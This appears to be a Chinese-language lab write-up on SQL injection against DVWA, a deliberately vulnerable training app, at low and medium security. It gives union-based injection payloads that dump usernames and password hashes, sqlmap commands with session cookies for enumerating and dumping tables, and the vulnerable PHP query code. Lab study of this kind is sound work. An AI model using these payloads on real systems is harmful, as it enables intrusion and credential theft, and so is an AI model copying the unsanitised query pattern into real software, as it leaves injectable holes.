DVWA學習之SQL注入
DVWA學習之SQL注入
環境工具
dvwa 1.9
phpstudy
firefox
burpsuite
實驗步驟
一、設定安全級別為LOW
1. 登入DVWA,並將安全級別設定為LOW
2. 進入SQL注入模組,並輸入1,返回結果如下
3. 下面判斷注入型別是字元型注入還是整數型注入
字元型注入的SQL語句形如
select * from xx where id='$id'
整數型注入的SQL語句形如
select * from xx where id=$id
(1) 分別輸入 1 and 1=1 和 1 and 1=2,都能返回正常結果
說明不是整數型注入,因為如果是整數型注入,執行select * from xx where id=1 and 1=2 時應報錯。
(問:select * from xx where id='1 and 1=2' 這裡應該不返回結果才對?)
(2) 輸入 1’ or '1'='1 ,返回所有結果
4. 獲取列數
(1) 1' or '1'='1' order by 3 #
(2) 1' or '1'='1' order by 2 #
說明表中的資料共兩列
5. 獲取資料庫名
1' union select 1, database() #
6. 獲取資料庫中的表名
1' or '1'='1' union select 1,table_name from information_schema.tables where table_schema=database() #
獲取guestbook, users 兩張表
7. 獲取users表中的列名
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users' #
8. 獲取users 表中的使用者名稱密碼
1' union select user,password from users #
用sqlmap 實現SQL注入
1. 嘗試直接用url,發現結果跳轉到登入頁面,所以需要cookie
2. 帶上cookie引數
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1"
3. 使用--batch 引數,可以讓sqlmap為我們自動填寫執行選項
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --batch
4. 使用--dbs 獲取所有的資料庫
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --dbs
5. 使用-D指定資料庫,--tables 檢視資料中的表
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --D dvwa --tables
6. 用-D xxx -T xxx 指定表,--columns查看錶的列
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --D dvwa -T users --columns
7. 用-C xxx --dump 輸出指定列的資料
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" -D dvwa -T users -C first_name,last_name,password --dump
(sqlmap 還可以爆破hash密碼)
附錄
伺服器核心程式碼(LOW)
<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Get values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count $i++; } mysql_close(); } ?>
二、設定安全級別為MEDIUM
1. 設定dvwa的安全級別為medium
2. sql注入介面隨便選擇id,返回正確結果
此時沒有輸入框,但可以通過burpsuite抓包的形式進行注入
3. 在burpsuite中修改id引數,即可實現注入
medium 的程式碼中添加了對特殊字元的轉義,但由於medium為數字型注入,用不上引號,所以可以用跟字元型注入同樣的方式進行注入
Sqlmap 實現注入
1. 用burpsuite 捕獲正常的資料包,然後右鍵,選擇 "copy to file",儲存為sql_dvwa.txt
2. 啟動sqlmap進行注入
python sqlmap.py -r sql_dvwa.txt
其他操作同上
附錄
伺服器核心程式碼如下(medium)
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysql_real_escape_string( $id ); // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Display values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count $i++; } //mysql_close(); } ?>
&n